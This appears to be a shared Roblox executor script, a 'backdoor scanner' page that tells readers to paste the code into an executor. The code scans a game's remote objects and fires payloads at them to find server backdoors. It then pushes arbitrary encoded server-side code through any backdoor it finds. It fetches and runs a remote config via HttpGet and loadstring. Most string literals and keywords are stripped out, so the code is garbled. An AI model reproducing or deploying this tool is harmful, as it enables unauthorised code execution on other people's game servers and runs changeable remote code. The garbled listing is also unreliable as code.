Run it
Copy the script and paste it into your executor.
httpService = :()
insertService = :()
logService = :()
runService = :()
starterGui = :()
base91 = (:())()
config
executorAPI
debugSource =
sourcePayload =
stringList =
payloadList = .()
CONSTANTS = {
CONFIG_URL = ,
FOLDER_NAME =
}
remoteInfo = {
[] = ,
[] = ,
[] = {},
[] = ,
[] = ,
[] = {
[] = ,
[] = ,
}
}
msgOutputs = {
[] = ,
[] = ,
[] = ,
[] = ,
[] = ,
[] = ,
[] = ,
[] = ,
[] = ,
[] = ,
[] = ,
[] = ,
}
msgBoxParams = {
[] = {
Title = ,
TextContent = ,
ButtonCount = ,
},
[] = {
Title = ,
TextContent = ,
ButtonCount = ,
Button0Text =
}
}
stringifiedTypes = {
EnumItem = (value)
.(, value.EnumType, value.Name)
,
= (value)
.(, (value))
,
= (value)
.(, (value))
,
BrickColor = (value)
.(, value.Name)
,
= (value)
.(, (value))
,
= (value)
,
number = (value)
.(, value)
,
Ray = (value)
.(, (value.Origin), (value.Direction))
}
get_thread_identity = ( .get_thread_identity) getthreadidentity
set_thread_identity = ( .set_thread_identity) setthreadidentity
_getDebugIdFunc = (.GetDebugId)
(instanceObj)
oldThreadIdentity = ()
()
debugId = (instanceObj)
(oldThreadIdentity)
debugId
(msgText)
starterGui:(, {
Title = ,
Text = msgText,
Duration = ( + (#msgText / ))
})
(logType: | , ...)
config.enableLogging
logFunc = (
logType ==
logType ==
)
(...)
(object)
object
currentInstance = object
result =
currentInstance ~=
currentName = ( currentInstance currentInstance.Name )
currentName
concatenatedStr = (
( .(currentName, ))
)
result = concatenatedStr .. result
currentInstance = currentInstance.Parent
result = .(result, )
result
(strPath)
strPath
subPaths
subPaths = .()
matchedStr .(strPath, )
subPath1 = .(matchedStr, , )
subPath2 = .(matchedStr, , )
.(subPaths, subPath1)
(subPath1 == subPath2 matchedStr == subPath1)
.(subPaths, subPath2)
result =
_, pathName subPaths
result
result = result:(pathName, )
result
(t1, t2)
t1 = .(t1)
index, value t2
value = ( (value) == .(value) value)
.(t1, value)
t1
(lenght, lettersOnly)
result =
strTotalLenght = ( lettersOnly #stringList)
_ = , lenght
randInteger = .(, strTotalLenght)
result ..= .(stringList, randInteger, randInteger)
result
(min, max, ...)
numIndexes = {...}
randNumber = .(min, max)
.(.clear, numIndexes)
(
.(numIndexes, randNumber)
randNumber
(min, max, ...)
)
(waitTime, condition)
startTime = .()
runService.Heartbeat:() () (.() - startTime) > waitTime
(object)
((object) == (object:() object:()))
filterName, filterFunc config.remoteFilters
filterFunc (object)
()
remotes = .()
instancesList = (
:(),
( getinstances () {})
)
_, object instancesList
(object)
remoteObjId = (object)
remotes[remoteObjId] = object
remotes
(value)
stringifier = stringifiedTypes[(value)]
(
stringifier
(value)
(value)
)
(source)
macroName, macroValue config.scriptMacros
macroValue = (
(macroValue) ==
(macroValue)
macroValue
)
source = .(source, , macroValue)
source
(remoteObj)
(
remoteObj:()
remoteObj.FireServer
remoteObj:()
remoteObj.InvokeServer
)
applyRedirectedRemoteSecurity
userId = :().LocalPlayer.UserId
(source: , key: number):
randomObj = Random.(key)
result =
randX, randY, randZ =
randomObj:(, ),
randomObj:(, ),
randomObj:(, )
idx = , #source
charByte = .(source, idx, idx)
offset = ((idx % randomObj:(, randX)) + randomObj:(, randY))
charByte = bit32.(offset, charByte, randomObj:(, randZ))
result ..= .(charByte)
result = .(result, , (value) .(, .(value)) )
result
(source)
config.redirectRemote
argsLenght = .(, )
generatedArgs = .(argsLenght)
verificationIdx = .(, (argsLenght - ))
srcArgIdx = (, (argsLenght - ), verificationIdx)
randIdx = (, (argsLenght - ), srcArgIdx, verificationIdx)
nonceIdx = (, (argsLenght - ), srcArgIdx, verificationIdx, randIdx)
nonceOffset = Random.((argsLenght / verificationIdx) % (verificationIdx * )):(, argsLenght)
XORKey = .(((((argsLenght / randIdx) % verificationIdx) * nonceIdx) * (userId * srcArgIdx)) * nonceOffset)
generatedArgs[] = (
(.(, ) == )
(verificationIdx)
verificationIdx
)
generatedArgs[verificationIdx] =
generatedArgs[srcArgIdx] = base91.((source, XORKey))
generatedArgs[randIdx] = srcArgIdx
generatedArgs[nonceIdx] =
argIndex = , argsLenght
(generatedArgs[argIndex]) ~=
valueType = .(, )
generatedArgs[argIndex] = (
valueType ==
(.(, ))
valueType ==
.(, )
valueType ==
.(, ) >
)
generatedArgs
(source, noRedirectOutput)
remoteInfo.foundBackdoor
source = (source)
remoteFunc = (remoteInfo.instance)
remoteArgs = .(remoteInfo.args)
(config.redirectOutput noRedirectOutput)
nonce = ()
source = .(debugSource, source, nonce)
connection
connection = insertService.ChildAdded:((object)
object.Name ~= nonce connection:()
rawStdout = object:()
jsonConverted, stdout = (httpService.JSONDecode, httpService, rawStdout)
jsonConverted
_, output stdout
outputType, timestamp = (
output[] ==
.MessageType.MessageOutput
output[] ==
.MessageType.MessageWarning
), output[]
outputMsg =
index = , output[]
outputMsg ..=
executorAPI.console.(outputMsg, outputType, timestamp)
object.Value
executorAPI.console.(object:() , .MessageType.MessageError)
)
.(, connection.Disconnect, connection)
(config.redirectRemote remoteInfo.redirection.initialized)
remoteArgs = (source)
source = ( remoteInfo.srcFunc remoteInfo.(source) source)
remoteArgs[remoteInfo.argSrcIndex] = source
.(remoteFunc, remoteInfo.instance, (remoteArgs))
(params, overwriteRemoteInfo)
(remoteInfo.foundBackdoor overwriteRemoteInfo)
remoteInfo.foundBackdoor =
name, value params
remoteInfo[name] = value
()
(remoteInfo.foundBackdoor (config.redirectRemote remoteInfo.redirection.initialized))
nonce = (, )
(, )
(, () insertService:(nonce) )
redirectedRemotePath = insertService:(nonce)
redirectedRemotePath (msgOutputs.remoteRedirectLoadFailed)
redirectedRemote = (redirectedRemotePath)
redirectedRemote
redirectedRemote:()
redirectedRemote:()
remoteInfo.redirection.initialized =
({
[] = redirectedRemote,
[] = {},
[] =
}, )
insertService:(nonce):(()
newPath = insertService:(nonce)
newPath
newRemote = (newPath)
newRemote
newRemote:()
newRemote:()
remoteInfo.instance = newRemote
)
(msgOutputs.remoteRedirectLoadFailed)
(inviteCode: )
config.__STOPINVITEPROMPT
= ( .request) ( .request)
msgBoxResult = executorAPI.misc.(, msgBoxParams.DiscordInvitePrompt)
msgBoxResult.ClickedButton ==
promptRequest = (
({
Url = ,
Method = ,
Headers = {
[] = ,
[] =
},
Body = httpService:({
[] = {[] = inviteCode},
[] = ,
[] = httpService:()
})
})
)
promptRequest (promptRequest.StatusCode ~= httpService:(promptRequest.Body).data.code == )
()
executorAPI.misc.(, msgBoxParams.DiscordInviteCopied)
(remoteInfoParams)
(remoteInfo.foundBackdoor remoteInfo.instance)
(remoteInfoParams)
()
(, .(msgOutputs.attached, (remoteInfoParams.instance), remoteInfoParams.instance.ClassName, remoteInfoParams.payloadName ))
()
executorAPI = (:())({
mainTabText = msgOutputs.mainTabText,
customExecution = ,
executeFunc = (source) (source) ,
})
.(initializeDiscordInvite, )
_, scriptSrc config.autoExec
(scriptSrc)
(nonce, remoteObj, remoteObjId)
remoteObjFunc = (remoteObj)
payloadIndex, payloadInfo payloadList runService.Heartbeat:()
remotePassed = ( payloadInfo.Verifier payloadInfo.(remoteObj) )
( remotePassed payloadInfo.Args)
currentPayload = .(payloadInfo.Args)
argSrcIdx = .(currentPayload, )
argSrcIdx
currentPayload[argSrcIdx] = .(sourcePayload, nonce, )
(.spawn, remoteObjFunc, remoteObj, (currentPayload))
()
remoteInfo.foundBackdoor
remotesList = ()
nonce = (, )
connection;
connection = logService.AttributeChanged:((attributeName)
attributeName ~= nonce connection:()
remoteResult = .(logService:(nonce), )
remoteObj = remotesList[remoteResult[]]
payloadInfo = config.backdoorPayloads[remoteResult[]]
.(onAttached, {
[] = remoteObj,
[] = payloadInfo.Args,
[] = .(payloadInfo.Args, ),
[] = remoteResult[]
})
)
remoteObjId, remoteObj remotesList runService.Heartbeat:()
remoteInfo.foundBackdoor
(, .(msgOutputs.printRemote, (remoteObj), remoteObjId, remoteObj.ClassName))
(nonce, remoteObj, remoteObjId)
(, () connection.Connected )
.(connection.Disconnect, connection)
(CONSTANTS.FOLDER_NAME)
(CONSTANTS.FOLDER_NAME)
rawConfigFile = (
()
()
:(CONSTANTS.CONFIG_URL)
)
loadSuccess, loadedConfig
loadSuccess, loadedConfig = ((rawConfigFile))
( loadSuccess)
(msgOutputs.configLoadFailed)
rawConfigFile = :(CONSTANTS.CONFIG_URL)
loadedConfig = (rawConfigFile)()
successCount =
successCount += ( (loadedConfig.autoExec) == )
successCount += ( (loadedConfig.remoteFilters) == )
successCount += ( (loadedConfig.scriptMacros) == )
successCount += ( (loadedConfig.backdoorPayloads) == )
successCount += ( (loadedConfig.cachedPlaces) == )
(loadedConfig.configVer < successCount < ) (msgOutputs.outdatedConfig)
config = loadedConfig
payloadName, payloadInfo config.backdoorPayloads
payloadInfoClone = .(payloadInfo)
payloadInfoClone.Name = payloadName
.(payloadList, payloadInfoClone)
.(payloadList, (tbl1, tbl2)
tbl1Priority, tbl2Priority =
.((tbl1.Priority ), , ), .((tbl2.Priority ), , )
tbl1Priority < tbl2Priority
)
placeCacheData = config.cachedPlaces[.PlaceId]
placeCacheData
successCount =
remoteObj = ( (placeCacheData.Remote) == (placeCacheData.Remote) placeCacheData.Remote)
argSrcIndex = ( (placeCacheData.Args) == .(placeCacheData.Args, ) )
successCount += ( ((remoteObj) == (remoteObj:() remoteObj:())) )
successCount += ( (argSrcIndex) == )
successCount >=
(.(msgOutputs.cacheLoaded, .PlaceId))
({
[] = remoteObj,
[] = placeCacheData.SourceFunc,
[] = placeCacheData.Args,
[] = argSrcIndex
})
(.(msgOutputs.cacheFailed, .PlaceId))
startTime = .()
(msgOutputs.scanMsg1);(msgOutputs.scanMsg2)
()
(.(msgOutputs.scanBenchmark, .() - startTime))
remoteInfo.foundBackdoor
(, msgOutputs.noBackdoorRemote)
(msgOutputs.noBackdoorRemote)
Loads code from the internet. It downloads more code when it runs (loadstring + HttpGet), which can change after it was posted. From: raw.githubusercontent.com, discord.gg, discord.com.
Beckdeer skenner

Universal